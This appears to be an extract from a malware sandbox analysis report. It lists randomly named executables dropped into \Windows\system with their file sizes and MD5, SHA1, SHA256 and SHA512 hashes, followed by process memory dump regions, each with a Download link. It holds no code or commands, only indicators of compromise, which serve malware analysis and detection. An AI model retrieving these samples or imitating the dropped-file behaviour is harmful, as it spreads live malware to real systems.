2.0MB

MD5
9fa371db4004e735a536bb8b373a7a87

SHA1
349c1545588891fe20a6335156e57bd819d02f17

SHA256
8ad84012384b944bedd48602f5ad9e9e971ca00026613a6dabdaa4f099524bed

SHA512
60ffc16615a63269ff40b105fb0d198e136922ab4e9a763906f48ef087bbcf886491ded59ff42d15d443fd595dda90cf34cea1c1560a7b93e45f86f2bb57e6f2

Download Submit
\Windows\system\OWdrhRy.exe

Filesize
2.0MB

MD5
fc6f2fcc8b614ca358da199e40b854a8

SHA1
232f005a5fb6696f59c8e257516d55ff70b52f82

SHA256
b550109e5d16e0fa602ddb6d07fcbc715267dad354aad096fa14be3c15ebfa62

SHA512
50e2d1558353ca4556ae33488ed653d06f5cafe1e3f7465ed2836a17bb3d2f498bf8e8e6cb9895c61046314408262075e0fe8de255074382e3bf1322db91f50e

Download Submit
\Windows\system\PkXAuxp.exe

Filesize
2.0MB

MD5
c8ff14222c82135d95eae9ca3b184dcc

SHA1
a24e81cdb4aadde3d6df42dd7451713a0dff8b8a

SHA256
9ed8eff563dc975752ead48914940e01ea2d02f4f1a3ddd584751d6bca268e24

SHA512
2a9a18c497c4f362f8a9d98c4c9e55a969e1f4b459c15f79ce477992139f01614c157c86d299d3b1e7fa8d63a5e39c626b89284bb5f01d8701cf5d4a94ea979a

Download Submit
\Windows\system\PxRauRC.exe

Filesize
2.0MB

MD5
6a1f9aadffa1e90af5060795765b4e22

SHA1
1e589e6f315bf156a6885c0455c3c9ba2cafba80

SHA256
15a08dff762673a54bc9a914acc010f0a7bae1a885eed031a26eca7a5f16633b

SHA512
4ce119aeaae6f61cb2ce2269e0fc066b885e9fd56a5a5e34fc1d6064aa619c79d5c86c97800da20859719a158971a669811f96cfa49ea24cf6478dcd60214659

Download Submit
\Windows\system\RxGiWda.exe

Filesize
2.0MB

MD5
b9d85c63f25e47bb1f8e623ba3e8de92

SHA1
18900c04f1ecf6be205cbefb109c3c00cadc6486

SHA256
a615f9cd8624c86dfece4bcd640bdcfd245ddc0b59c80da9d0728289dc239ec4

SHA512
9eb973a3c3031b63b48c72e0928635e1d41ae9bed28e308d903ee2781621bbb88cc08a8c9539121f3b09621019edc4e15044284d632d0b3a7833b0ecf358aac3

Download Submit
\Windows\system\hMqitwm.exe

Filesize
2.0MB

MD5
879324c20b7d6fd078227f9c1bcc58b4

SHA1
038a668dc41888de621c9f3377a0754ce6e9c51e

SHA256
c62d7ea7446106eb4d5421cb2bd343918a09867f6c21453d933ed844b28720c7

SHA512
91a7acd8b1b8b68a5cf8c0d29e5c6c81c8e96e870b14b6c7a57f2a01427b755e68568aa9ce3fed6d77a81ee55c6a4e01aecb1890cd96047cfbd21482bf637049

Download Submit
\Windows\system\hQKtxzB.exe

Filesize
2.0MB

MD5
386905b85d06fd288ee115cf2620ca55

SHA1
0226836314f8eea0e168f16bd654e182793965c1

SHA256
9fc71eb2e3e41b78cf713c43ac95bf87d99c44b36ab3dc2d19d260ca2488f694

SHA512
a6714b9ea605e9674c125404dd0020d0131b9e4721ad518f0e7e47f8e538193d0c862bfd0c2ba4fd657c0d8470ae6d0dff33bf7296d01b2ce477e5939757a487

Download Submit
\Windows\system\tiFobTr.exe

Filesize
2.0MB

MD5
51c044ea8e643e54b59764592c4cef8c

SHA1
3fc397cc556d22943fa6c15919c59ffeefcc31a4

SHA256
784581aadc99bac7de4e5c3b4e4ac6466f8e2a3fbc4020e87ba3a681a76ad671

SHA512
a8073d49692c2ab549f767efcb6f80d736d323b577f1510d09cee54a4530f0b5a89dfb2f14635e2521c61d51656023988df5b91840c8ef9b80e2adbbd118ae55

Download Submit
\Windows\system\uceMrcB.exe

Filesize
2.0MB

MD5
a4350d1e95b398de04a1212410701924

SHA1
37e73a585a035a81a2a6d13b84e7b29024587f34

SHA256
2a384d22965407ffc4731393bc655aee396311967d024493d42baf81a42d0b3d

SHA512
08c309e185b789ae38408d42772d819259fa897c78a6b2d2b7c8dadbaf0a91de10822b052c100434115bdb60f9dadc0ef0f2c86ce1b3598f0f331f0fb7bd9102

Download Submit
memory/2112-60-0x000000013F380000-0x000000013F772000-memory.dmp

Filesize
3.9MB

Download
memory/2112-4571-0x000000013F380000-0x000000013F772000-memory.dmp

Filesize
3.9MB

Download
memory/2248-4573-0x000000013F780000-0x000000013FB72000-memory.dmp

Filesize
3.9MB

Download
memory/2248-73-0x000000013F780000-0x000000013FB72000-memory.dmp

Filesize
3.9MB

Download
memory/2392-83-0x0000000003130000-0x0000000003522000-memory.dmp

Filesize
3.9MB

Download
memory/2392-89-0x000000013F340000-0x000000013F732000-memory.dmp

Filesize
3.9MB

Download
memory/2392-1-0x000000013F980000-0x000000013FD72000-memory.dmp

Filesize
3.9MB

Download
memory/2392-33-0x000000013F380000-0x000000013F772000-memory.dmp

Filesize
3.9MB

Download
memory/2392-80-0x000000013FF30000-0x0000000140322000-memory.dmp

Filesize
3.9MB

Download
memory/2392-77-0x000000013F200000-0x000000013F5F2000-memory.dmp

Filesize
3.9MB

Download
memory/2392-0-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2392-95-0x000000013F460000-0x000000013F852000-memory.dmp

Filesize
3.9MB

Download
memory/2392-94-0x000000013F4B0000-0x000000013F8A2000-memory.dmp

Filesize
3.9MB

Download
memory/2392-93-0x0000000003130000-0x0000000003522000-memory.dmp

Filesize
3.9MB

Download
memory/2392-92-0x000000013F2B0000-0x000000013F6A2000-memory.dmp

Filesize
3.9MB

Download
memory/2392-91-0x0000000003130000-0x0000000003522000-memory.dmp

Filesize
3.9MB

Download
memory/2392-90-0x000000013F0D0000-0x000000013F4C2000-memory.dmp

Filesize
3.9MB

Download
memory/2392-84-0x000000013F340000-0x000000013F732000-memory.dmp

Filesize
3.9MB

Download
memory/2392-85-0x000000013F4D0000-0x000000013F8C2000-memory.dmp

Filesize
3.9MB

Download
memory/2732-82-0x000000013FA90000-0x000000013FE82000-memory.dmp

Filesize
3.9MB

Download
memory/2732-4576-0x000000013FA90000-0x000000013FE82000-memory.dmp

Filesize
3.9MB

Download
memory/2764-88-0x000000013F4D0000-0x000000013F8C2000-memory.dmp

Filesize
3.9MB

Download
memory/2764-4572-0x000000013F4D0000-0x000000013F8C2000-memory.dmp

Filesize
3.9MB

Download
memory/2816-87-0x000000013F6E0000-0x000000013FAD2000-memory.dmp

Filesize
3.9MB

Download
memory/2816-4575-0x000000013F6E0000-0x000000013FAD2000-memory.dmp

Filesize
3.9MB

Download
memory/2832-86-0x000000013F200000-0x000000013F5F2000-memory.dmp

Filesize
3.9MB

Download
memory/2832-4577-0x000000013F200000-0x000000013F5F2000-memory.dmp

Filesize
3.9MB

Download
memory/2888-79-0x000000013F2B0000-0x000000013F6A2000-memory.dmp

Filesize
3.9MB

Download
memory/2888-4583-0x000000013F2B0000-0x000000013F6A2000-memory.dmp

Filesize
3.9MB

Download
memory/3028-240-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/3028-245-0x00000000028A0000-0x00000000028A8000-memory.dmp

Filesize
32KB

Download